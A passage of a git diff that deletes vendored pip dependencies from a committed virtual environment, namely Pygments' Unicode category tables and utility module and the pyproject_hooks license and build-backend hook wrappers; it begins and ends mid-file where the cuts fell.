01ee05-\U0001ee1f\U0001ee21-\U0001ee22\U0001ee24\U0001ee27\U0001ee29-\U0001ee32\U0001ee34-\U0001ee37\U0001ee39\U0001ee3b\U0001ee42\U0001ee47\U0001ee49\U0001ee4b\U0001ee4d-\U0001ee4f\U0001ee51-\U0001ee52\U0001ee54\U0001ee57\U0001ee59\U0001ee5b\U0001ee5d\U0001ee5f\U0001ee61-\U0001ee62\U0001ee64\U0001ee67-\U0001ee6a\U0001ee6c-\U0001ee72\U0001ee74-\U0001ee77\U0001ee79-\U0001ee7c\U0001ee7e\U0001ee80-\U0001ee89\U0001ee8b-\U0001ee9b\U0001eea1-\U0001eea3\U0001eea5-\U0001eea9\U0001eeab-\U0001eebb\U00020000-\U0002a6d6\U0002a700-\U0002b734\U0002b740-\U0002b81d\U0002b820-\U0002cea1\U0002ceb0-\U0002ebe0\U0002f800-\U0002fa1d\U000e0100-\U000e01ef' - -xid_start = 'A-Z_a-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376-\u0377\u037b-\u037d\u037f\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u052f\u0531-\u0556\u0559\u0560-\u0588\u05d0-\u05ea\u05ef-\u05f2\u0620-\u064a\u066e-\u066f\u0671-\u06d3\u06d5\u06e5-\u06e6\u06ee-\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4-\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u0860-\u086a\u08a0-\u08b4\u08b6-\u08bd\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098c\u098f-\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc-\u09dd\u09df-\u09e1\u09f0-\u09f1\u09fc\u0a05-\u0a0a\u0a0f-\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32-\u0a33\u0a35-\u0a36\u0a38-\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2-\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0-\u0ae1\u0af9\u0b05-\u0b0c\u0b0f-\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32-\u0b33\u0b35-\u0b39\u0b3d\u0b5c-\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99-\u0b9a\u0b9c\u0b9e-\u0b9f\u0ba3-\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c39\u0c3d\u0c58-\u0c5a\u0c60-\u0c61\u0c80\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0-\u0ce1\u0cf1-\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d54-\u0d56\u0d5f-\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0e01-\u0e30\u0e32\u0e40-\u0e46\u0e81-\u0e82\u0e84\u0e87-\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa-\u0eab\u0ead-\u0eb0\u0eb2\u0ebd\u0ec0-\u0ec4\u0ec6\u0edc-\u0edf\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u1000-\u102a\u103f\u1050-\u1055\u105a-\u105d\u1061\u1065-\u1066\u106e-\u1070\u1075-\u1081\u108e\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f5\u13f8-\u13fd\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f8\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1780-\u17b3\u17d7\u17dc\u1820-\u1878\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191e\u1950-\u196d\u1970-\u1974\u1980-\u19ab\u19b0-\u19c9\u1a00-\u1a16\u1a20-\u1a54\u1aa7\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae-\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1c80-\u1c88\u1c90-\u1cba\u1cbd-\u1cbf\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5-\u1cf6\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2118-\u211d\u2124\u2126\u2128\u212a-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2cf2-\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303c\u3041-\u3096\u309d-\u309f\u30a1-\u30fa\u30fc-\u30ff\u3105-\u312f\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fef\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a-\ua62b\ua640-\ua66e\ua67f-\ua69d\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua7b9\ua7f7-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua8fd-\ua8fe\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\ua9e0-\ua9e4\ua9e6-\ua9ef\ua9fa-\ua9fe\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaa60-\uaa76\uaa7a\uaa7e-\uaaaf\uaab1\uaab5-\uaab6\uaab9-\uaabd\uaac0\uaac2\uaadb-\uaadd\uaae0-\uaaea\uaaf2-\uaaf4\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uab30-\uab5a\uab5c-\uab65\uab70-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40-\ufb41\ufb43-\ufb44\ufb46-\ufbb1\ufbd3-\ufc5d\ufc64-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdf9\ufe71\ufe73\ufe77\ufe79\ufe7b\ufe7d\ufe7f-\ufefc\uff21-\uff3a\uff41-\uff5a\uff66-\uff9d\uffa0-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc\U00010000-\U0001000b\U0001000d-\U00010026\U00010028-\U0001003a\U0001003c-\U0001003d\U0001003f-\U0001004d\U00010050-\U0001005d\U00010080-\U000100fa\U00010140-\U00010174\U00010280-\U0001029c\U000102a0-\U000102d0\U00010300-\U0001031f\U0001032d-\U0001034a\U00010350-\U00010375\U00010380-\U0001039d\U000103a0-\U000103c3\U000103c8-\U000103cf\U000103d1-\U000103d5\U00010400-\U0001049d\U000104b0-\U000104d3\U000104d8-\U000104fb\U00010500-\U00010527\U00010530-\U00010563\U00010600-\U00010736\U00010740-\U00010755\U00010760-\U00010767\U00010800-\U00010805\U00010808\U0001080a-\U00010835\U00010837-\U00010838\U0001083c\U0001083f-\U00010855\U00010860-\U00010876\U00010880-\U0001089e\U000108e0-\U000108f2\U000108f4-\U000108f5\U00010900-\U00010915\U00010920-\U00010939\U00010980-\U000109b7\U000109be-\U000109bf\U00010a00\U00010a10-\U00010a13\U00010a15-\U00010a17\U00010a19-\U00010a35\U00010a60-\U00010a7c\U00010a80-\U00010a9c\U00010ac0-\U00010ac7\U00010ac9-\U00010ae4\U00010b00-\U00010b35\U00010b40-\U00010b55\U00010b60-\U00010b72\U00010b80-\U00010b91\U00010c00-\U00010c48\U00010c80-\U00010cb2\U00010cc0-\U00010cf2\U00010d00-\U00010d23\U00010f00-\U00010f1c\U00010f27\U00010f30-\U00010f45\U00011003-\U00011037\U00011083-\U000110af\U000110d0-\U000110e8\U00011103-\U00011126\U00011144\U00011150-\U00011172\U00011176\U00011183-\U000111b2\U000111c1-\U000111c4\U000111da\U000111dc\U00011200-\U00011211\U00011213-\U0001122b\U00011280-\U00011286\U00011288\U0001128a-\U0001128d\U0001128f-\U0001129d\U0001129f-\U000112a8\U000112b0-\U000112de\U00011305-\U0001130c\U0001130f-\U00011310\U00011313-\U00011328\U0001132a-\U00011330\U00011332-\U00011333\U00011335-\U00011339\U0001133d\U00011350\U0001135d-\U00011361\U00011400-\U00011434\U00011447-\U0001144a\U00011480-\U000114af\U000114c4-\U000114c5\U000114c7\U00011580-\U000115ae\U000115d8-\U000115db\U00011600-\U0001162f\U00011644\U00011680-\U000116aa\U00011700-\U0001171a\U00011800-\U0001182b\U000118a0-\U000118df\U000118ff\U00011a00\U00011a0b-\U00011a32\U00011a3a\U00011a50\U00011a5c-\U00011a83\U00011a86-\U00011a89\U00011a9d\U00011ac0-\U00011af8\U00011c00-\U00011c08\U00011c0a-\U00011c2e\U00011c40\U00011c72-\U00011c8f\U00011d00-\U00011d06\U00011d08-\U00011d09\U00011d0b-\U00011d30\U00011d46\U00011d60-\U00011d65\U00011d67-\U00011d68\U00011d6a-\U00011d89\U00011d98\U00011ee0-\U00011ef2\U00012000-\U00012399\U00012400-\U0001246e\U00012480-\U00012543\U00013000-\U0001342e\U00014400-\U00014646\U00016800-\U00016a38\U00016a40-\U00016a5e\U00016ad0-\U00016aed\U00016b00-\U00016b2f\U00016b40-\U00016b43\U00016b63-\U00016b77\U00016b7d-\U00016b8f\U00016e40-\U00016e7f\U00016f00-\U00016f44\U00016f50\U00016f93-\U00016f9f\U00016fe0-\U00016fe1\U00017000-\U000187f1\U00018800-\U00018af2\U0001b000-\U0001b11e\U0001b170-\U0001b2fb\U0001bc00-\U0001bc6a\U0001bc70-\U0001bc7c\U0001bc80-\U0001bc88\U0001bc90-\U0001bc99\U0001d400-\U0001d454\U0001d456-\U0001d49c\U0001d49e-\U0001d49f\U0001d4a2\U0001d4a5-\U0001d4a6\U0001d4a9-\U0001d4ac\U0001d4ae-\U0001d4b9\U0001d4bb\U0001d4bd-\U0001d4c3\U0001d4c5-\U0001d505\U0001d507-\U0001d50a\U0001d50d-\U0001d514\U0001d516-\U0001d51c\U0001d51e-\U0001d539\U0001d53b-\U0001d53e\U0001d540-\U0001d544\U0001d546\U0001d54a-\U0001d550\U0001d552-\U0001d6a5\U0001d6a8-\U0001d6c0\U0001d6c2-\U0001d6da\U0001d6dc-\U0001d6fa\U0001d6fc-\U0001d714\U0001d716-\U0001d734\U0001d736-\U0001d74e\U0001d750-\U0001d76e\U0001d770-\U0001d788\U0001d78a-\U0001d7a8\U0001d7aa-\U0001d7c2\U0001d7c4-\U0001d7cb\U0001e800-\U0001e8c4\U0001e900-\U0001e943\U0001ee00-\U0001ee03\U0001ee05-\U0001ee1f\U0001ee21-\U0001ee22\U0001ee24\U0001ee27\U0001ee29-\U0001ee32\U0001ee34-\U0001ee37\U0001ee39\U0001ee3b\U0001ee42\U0001ee47\U0001ee49\U0001ee4b\U0001ee4d-\U0001ee4f\U0001ee51-\U0001ee52\U0001ee54\U0001ee57\U0001ee59\U0001ee5b\U0001ee5d\U0001ee5f\U0001ee61-\U0001ee62\U0001ee64\U0001ee67-\U0001ee6a\U0001ee6c-\U0001ee72\U0001ee74-\U0001ee77\U0001ee79-\U0001ee7c\U0001ee7e\U0001ee80-\U0001ee89\U0001ee8b-\U0001ee9b\U0001eea1-\U0001eea3\U0001eea5-\U0001eea9\U0001eeab-\U0001eebb\U00020000-\U0002a6d6\U0002a700-\U0002b734\U0002b740-\U0002b81d\U0002b820-\U0002cea1\U0002ceb0-\U0002ebe0\U0002f800-\U0002fa1d' - -cats = ['Cc', 'Cf', 'Cn', 'Co', 'Cs', 'Ll', 'Lm', 'Lo', 'Lt', 'Lu', 'Mc', 'Me', 'Mn', 'Nd', 'Nl', 'No', 'Pc', 'Pd', 'Pe', 'Pf', 'Pi', 'Po', 'Ps', 'Sc', 'Sk', 'Sm', 'So', 'Zl', 'Zp', 'Zs'] - -# Generated from unidata 11.0.0 - -def combine(*args): - return ''.join(globals()[cat] for cat in args) - - -def allexcept(*args): - newcats = cats[:] - for arg in args: - newcats.remove(arg) - return ''.join(globals()[cat] for cat in newcats) - - -def _handle_runs(char_list): # pragma: no cover - buf = [] - for c in char_list: - if len(c) == 1: - if buf and buf[-1][1] == chr(ord(c)-1): - buf[-1] = (buf[-1][0], c) - else: - buf.append((c, c)) - else: - buf.append((c, c)) - for a, b in buf: - if a == b: - yield a - else: - yield f'{a}-{b}' - - -if __name__ == '__main__': # pragma: no cover - import unicodedata - - categories = {'xid_start': [], 'xid_continue': []} - - with open(__file__, encoding='utf-8') as fp: - content = fp.read() - - header = content[:content.find('Cc =')] - footer = content[content.find("def combine("):] - - for code in range(0x110000): - c = chr(code) - cat = unicodedata.category(c) - if ord(c) == 0xdc00: - # Hack to avoid combining this combining with the preceding high - # surrogate, 0xdbff, when doing a repr. - c = '\\' + c - elif ord(c) in (0x2d, 0x5b, 0x5c, 0x5d, 0x5e): - # Escape regex metachars. - c = '\\' + c - categories.setdefault(cat, []).append(c) - # XID_START and XID_CONTINUE are special categories used for matching - # identifiers in Python 3. - if c.isidentifier(): - categories['xid_start'].append(c) - if ('a' + c).isidentifier(): - categories['xid_continue'].append(c) - - with open(__file__, 'w', encoding='utf-8') as fp: - fp.write(header) - - for cat in sorted(categories): - val = ''.join(_handle_runs(categories[cat])) - fp.write(f'{cat} = {val!a}\n\n') - - cats = sorted(categories) - cats.remove('xid_start') - cats.remove('xid_continue') - fp.write(f'cats = {cats!r}\n\n') - - fp.write(f'# Generated from unidata {unicodedata.unidata_version}\n\n') - - fp.write(footer) diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/util.py b/venv/Lib/site-packages/pip/_vendor/pygments/util.py deleted file mode 100644 index 548d9d7af2865b23cf59369d25b98221daf34b95..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/util.py +++ /dev/null @@ -1,324 +0,0 @@ -""" - pygments.util - ~~~~~~~~~~~~~ - - Utility functions. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - -import re -from io import TextIOWrapper - - -split_path_re = re.compile(r'[/\\ ]') -doctype_lookup_re = re.compile(r''' - ]*> -''', re.DOTALL | re.MULTILINE | re.VERBOSE) -tag_re = re.compile(r'<(.+?)(\s.*?)?>.*?', - re.IGNORECASE | re.DOTALL | re.MULTILINE) -xml_decl_re = re.compile(r'\s*<\?xml[^>]*\?>', re.I) - - -class ClassNotFound(ValueError): - """Raised if one of the lookup functions didn't find a matching class.""" - - -class OptionError(Exception): - """ - This exception will be raised by all option processing functions if - the type or value of the argument is not correct. - """ - -def get_choice_opt(options, optname, allowed, default=None, normcase=False): - """ - If the key `optname` from the dictionary is not in the sequence - `allowed`, raise an error, otherwise return it. - """ - string = options.get(optname, default) - if normcase: - string = string.lower() - if string not in allowed: - raise OptionError('Value for option {} must be one of {}'.format(optname, ', '.join(map(str, allowed)))) - return string - - -def get_bool_opt(options, optname, default=None): - """ - Intuitively, this is `options.get(optname, default)`, but restricted to - Boolean value. The Booleans can be represented as string, in order to accept - Boolean value from the command line arguments. If the key `optname` is - present in the dictionary `options` and is not associated with a Boolean, - raise an `OptionError`. If it is absent, `default` is returned instead. - - The valid string values for ``True`` are ``1``, ``yes``, ``true`` and - ``on``, the ones for ``False`` are ``0``, ``no``, ``false`` and ``off`` - (matched case-insensitively). - """ - string = options.get(optname, default) - if isinstance(string, bool): - return string - elif isinstance(string, int): - return bool(string) - elif not isinstance(string, str): - raise OptionError(f'Invalid type {string!r} for option {optname}; use ' - '1/0, yes/no, true/false, on/off') - elif string.lower() in ('1', 'yes', 'true', 'on'): - return True - elif string.lower() in ('0', 'no', 'false', 'off'): - return False - else: - raise OptionError(f'Invalid value {string!r} for option {optname}; use ' - '1/0, yes/no, true/false, on/off') - - -def get_int_opt(options, optname, default=None): - """As :func:`get_bool_opt`, but interpret the value as an integer.""" - string = options.get(optname, default) - try: - return int(string) - except TypeError: - raise OptionError(f'Invalid type {string!r} for option {optname}; you ' - 'must give an integer value') - except ValueError: - raise OptionError(f'Invalid value {string!r} for option {optname}; you ' - 'must give an integer value') - -def get_list_opt(options, optname, default=None): - """ - If the key `optname` from the dictionary `options` is a string, - split it at whitespace and return it. If it is already a list - or a tuple, it is returned as a list. - """ - val = options.get(optname, default) - if isinstance(val, str): - return val.split() - elif isinstance(val, (list, tuple)): - return list(val) - else: - raise OptionError(f'Invalid type {val!r} for option {optname}; you ' - 'must give a list value') - - -def docstring_headline(obj): - if not obj.__doc__: - return '' - res = [] - for line in obj.__doc__.strip().splitlines(): - if line.strip(): - res.append(" " + line.strip()) - else: - break - return ''.join(res).lstrip() - - -def make_analysator(f): - """Return a static text analyser function that returns float values.""" - def text_analyse(text): - try: - rv = f(text) - except Exception: - return 0.0 - if not rv: - return 0.0 - try: - return min(1.0, max(0.0, float(rv))) - except (ValueError, TypeError): - return 0.0 - text_analyse.__doc__ = f.__doc__ - return staticmethod(text_analyse) - - -def shebang_matches(text, regex): - r"""Check if the given regular expression matches the last part of the - shebang if one exists. - - >>> from pygments.util import shebang_matches - >>> shebang_matches('#!/usr/bin/env python', r'python(2\.\d)?') - True - >>> shebang_matches('#!/usr/bin/python2.4', r'python(2\.\d)?') - True - >>> shebang_matches('#!/usr/bin/python-ruby', r'python(2\.\d)?') - False - >>> shebang_matches('#!/usr/bin/python/ruby', r'python(2\.\d)?') - False - >>> shebang_matches('#!/usr/bin/startsomethingwith python', - ... r'python(2\.\d)?') - True - - It also checks for common windows executable file extensions:: - - >>> shebang_matches('#!C:\\Python2.4\\Python.exe', r'python(2\.\d)?') - True - - Parameters (``'-f'`` or ``'--foo'`` are ignored so ``'perl'`` does - the same as ``'perl -e'``) - - Note that this method automatically searches the whole string (eg: - the regular expression is wrapped in ``'^$'``) - """ - index = text.find('\n') - if index >= 0: - first_line = text[:index].lower() - else: - first_line = text.lower() - if first_line.startswith('#!'): - try: - found = [x for x in split_path_re.split(first_line[2:].strip()) - if x and not x.startswith('-')][-1] - except IndexError: - return False - regex = re.compile(rf'^{regex}(\.(exe|cmd|bat|bin))?$', re.IGNORECASE) - if regex.search(found) is not None: - return True - return False - - -def doctype_matches(text, regex): - """Check if the doctype matches a regular expression (if present). - - Note that this method only checks the first part of a DOCTYPE. - eg: 'html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"' - """ - m = doctype_lookup_re.search(text) - if m is None: - return False - doctype = m.group(1) - return re.compile(regex, re.I).match(doctype.strip()) is not None - - -def html_doctype_matches(text): - """Check if the file looks like it has a html doctype.""" - return doctype_matches(text, r'html') - - -_looks_like_xml_cache = {} - - -def looks_like_xml(text): - """Check if a doctype exists or if we have some tags.""" - if xml_decl_re.match(text): - return True - key = hash(text) - try: - return _looks_like_xml_cache[key] - except KeyError: - m = doctype_lookup_re.search(text) - if m is not None: - return True - rv = tag_re.search(text[:1000]) is not None - _looks_like_xml_cache[key] = rv - return rv - - -def surrogatepair(c): - """Given a unicode character code with length greater than 16 bits, - return the two 16 bit surrogate pair. - """ - # From example D28 of: - # http://www.unicode.org/book/ch03.pdf - return (0xd7c0 + (c >> 10), (0xdc00 + (c & 0x3ff))) - - -def format_lines(var_name, seq, raw=False, indent_level=0): - """Formats a sequence of strings for output.""" - lines = [] - base_indent = ' ' * indent_level * 4 - inner_indent = ' ' * (indent_level + 1) * 4 - lines.append(base_indent + var_name + ' = (') - if raw: - # These should be preformatted reprs of, say, tuples. - for i in seq: - lines.append(inner_indent + i + ',') - else: - for i in seq: - # Force use of single quotes - r = repr(i + '"') - lines.append(inner_indent + r[:-2] + r[-1] + ',') - lines.append(base_indent + ')') - return '\n'.join(lines) - - -def duplicates_removed(it, already_seen=()): - """ - Returns a list with duplicates removed from the iterable `it`. - - Order is preserved. - """ - lst = [] - seen = set() - for i in it: - if i in seen or i in already_seen: - continue - lst.append(i) - seen.add(i) - return lst - - -class Future: - """Generic class to defer some work. - - Handled specially in RegexLexerMeta, to support regex string construction at - first use. - """ - def get(self): - raise NotImplementedError - - -def guess_decode(text): - """Decode *text* with guessed encoding. - - First try UTF-8; this should fail for non-UTF-8 encodings. - Then try the preferred locale encoding. - Fall back to latin-1, which always works. - """ - try: - text = text.decode('utf-8') - return text, 'utf-8' - except UnicodeDecodeError: - try: - import locale - prefencoding = locale.getpreferredencoding() - text = text.decode(prefencoding) - return text, prefencoding - except (UnicodeDecodeError, LookupError): - text = text.decode('latin1') - return text, 'latin1' - - -def guess_decode_from_terminal(text, term): - """Decode *text* coming from terminal *term*. - - First try the terminal encoding, if given. - Then try UTF-8. Then try the preferred locale encoding. - Fall back to latin-1, which always works. - """ - if getattr(term, 'encoding', None): - try: - text = text.decode(term.encoding) - except UnicodeDecodeError: - pass - else: - return text, term.encoding - return guess_decode(text) - - -def terminal_encoding(term): - """Return our best guess of encoding for the given *term*.""" - if getattr(term, 'encoding', None): - return term.encoding - import locale - return locale.getpreferredencoding() - - -class UnclosingTextIOWrapper(TextIOWrapper): - # Don't close underlying buffer on destruction. - def close(self): - self.flush() diff --git a/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/LICENSE b/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/LICENSE deleted file mode 100644 index b0ae9dbc262b5f7ed4cb6f964cfb5eb5c0d0b0be..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2017 Thomas Kluyver - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/__init__.py b/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/__init__.py deleted file mode 100644 index 746b89f7e71ed14565d18aa97ccc62d5df1bed82..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/__init__.py +++ /dev/null @@ -1,31 +0,0 @@ -"""Wrappers to call pyproject.toml-based build backend hooks. -""" - -from typing import TYPE_CHECKING - -from ._impl import ( - BackendUnavailable, - BuildBackendHookCaller, - HookMissing, - UnsupportedOperation, - default_subprocess_runner, - quiet_subprocess_runner, -) - -__version__ = "1.2.0" -__all__ = [ - "BackendUnavailable", - "BackendInvalid", - "HookMissing", - "UnsupportedOperation", - "default_subprocess_runner", - "quiet_subprocess_runner", - "BuildBackendHookCaller", -] - -BackendInvalid = BackendUnavailable # Deprecated alias, previously a separate exception - -if TYPE_CHECKING: - from ._impl import SubprocessRunner - - __all__ += ["SubprocessRunner"] diff --git a/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/_impl.py b/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/_impl.py deleted file mode 100644 index d1e9d7bb8c62e2fda5a9fd395899175142eb9b04..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/_impl.py +++ /dev/null @@ -1,410 +0,0 @@ -import json -import os -import sys -import tempfile -from contextlib import contextmanager -from os.path import abspath -from os.path import join as pjoin -from subprocess import STDOUT, check_call, check_output -from typing import TYPE_CHECKING, Any, Iterator, Mapping, Optional, Sequence - -from ._in_process import _in_proc_script_path - -if TYPE_CHECKING: - from typing import Protocol - - class SubprocessRunner(Protocol): - """A protocol for the subprocess runner.""" - - def __call__( - self, - cmd: Sequence[str], - cwd: Optional[str] = None, - extra_environ: Optional[Mapping[str, str]] = None, - ) -> None: - ... - - -def write_json(obj: Mapping[str, Any], path: str, **kwargs) -> None: - with open(path, "w", encoding="utf-8") as f: - json.dump(obj, f, **kwargs) - - -def read_json(path: str) -> Mapping[str, Any]: - with open(path, encoding="utf-8") as f: - return json.load(f) - - -class BackendUnavailable(Exception): - """Will be raised if the backend cannot be imported in the hook process.""" - - def __init__( - self, - traceback: str, - message: Optional[str] = None, - backend_name: Optional[str] = None, - backend_path: Optional[Sequence[str]] = None, - ) -> None: - # Preserving arg order for the sake of API backward compatibility. - self.backend_name = backend_name - self.backend_path = backend_path - self.traceback = traceback - super().__init__(message or "Error while importing backend") - - -class HookMissing(Exception): - """Will be raised on missing hooks (if a fallback can't be used).""" - - def __init__(self, hook_name: str) -> None: - super().__init__(hook_name) - self.hook_name = hook_name - - -class UnsupportedOperation(Exception): - """May be raised by build_sdist if the backend indicates that it can't.""" - - def __init__(self, traceback: str) -> None: - self.traceback = traceback - - -def default_subprocess_runner( - cmd: Sequence[str], - cwd: Optional[str] = None, - extra_environ: Optional[Mapping[str, str]] = None, -) -> None: - """The default method of calling the wrapper subprocess. - - This uses :func:`subprocess.check_call` under the hood. - """ - env = os.environ.copy() - if extra_environ: - env.update(extra_environ) - - check_call(cmd, cwd=cwd, env=env) - - -def quiet_subprocess_runner( - cmd: Sequence[str], - cwd: Optional[str] = None, - extra_environ: Optional[Mapping[str, str]] = None, -) -> None: - """Call the subprocess while suppressing output. - - This uses :func:`subprocess.check_output` under the hood. - """ - env = os.environ.copy() - if extra_environ: - env.update(extra_environ) - - check_output(cmd, cwd=cwd, env=env, stderr=STDOUT) - - -def norm_and_check(source_tree: str, requested: str) -> str: - """Normalise and check a backend path. - - Ensure that the requested backend path is specified as a relative path, - and resolves to a location under the given source tree. - - Return an absolute version of the requested path. - """ - if os.path.isabs(requested): - raise ValueError("paths must be relative") - - abs_source = os.path.abspath(source_tree) - abs_requested = os.path.normpath(os.path.join(abs_source, requested)) - # We have to use commonprefix for Python 2.7 compatibility. So we - # normalise case to avoid problems because commonprefix is a character - # based comparison :-( - norm_source = os.path.normcase(abs_source) - norm_requested = os.path.normcase(abs_requested) - if os.path.commonprefix([norm_source, norm_requested]) != norm_source: - raise ValueError("paths must be inside source tree") - - return abs_requested - - -class BuildBackendHookCaller: - """A wrapper to call the build backend hooks for a source directory.""" - - def __init__( - self, - source_dir: str, - build_backend: str, - backend_path: Optional[Sequence[str]] = None, - runner: Optional["SubprocessRunner"] = None, - python_executable: Optional[str] = None, - ) -> None: - """ - :param source_dir: The source directory to invoke the build backend for - :param build_backend: The build backend spec - :param backend_path: Additional path entries for the build backend spec - :param runner: The :ref:`subprocess runner ` to use - :param python_executable: - The Python executable used to invoke the build backend - """ - if runner is None: - runner = default_subprocess_runner - - self.source_dir = abspath(source_dir) - self.build_backend = build_backend - if backend_path: - backend_path = [norm_and_check(self.source_dir, p) for p in backend_path] - self.backend_path = backend_path - self._subprocess_runner = runner - if not python_executable: - python_executable = sys.executable - self.python_executable = python_executable - - @contextmanager - def subprocess_runner(self, runner: "SubprocessRunner") -> Iterator[None]: - """A context manager for temporarily overriding the default - :ref:`subprocess runner `. - - :param runner: The new subprocess runner to use within the context. - - .. code-block:: python - - hook_caller = BuildBackendHookCaller(...) - with hook_caller.subprocess_runner(quiet_subprocess_runner): - ... - """ - prev = self._subprocess_runner - self._subprocess_runner = runner - try: - yield - finally: - self._subprocess_runner = prev - - def 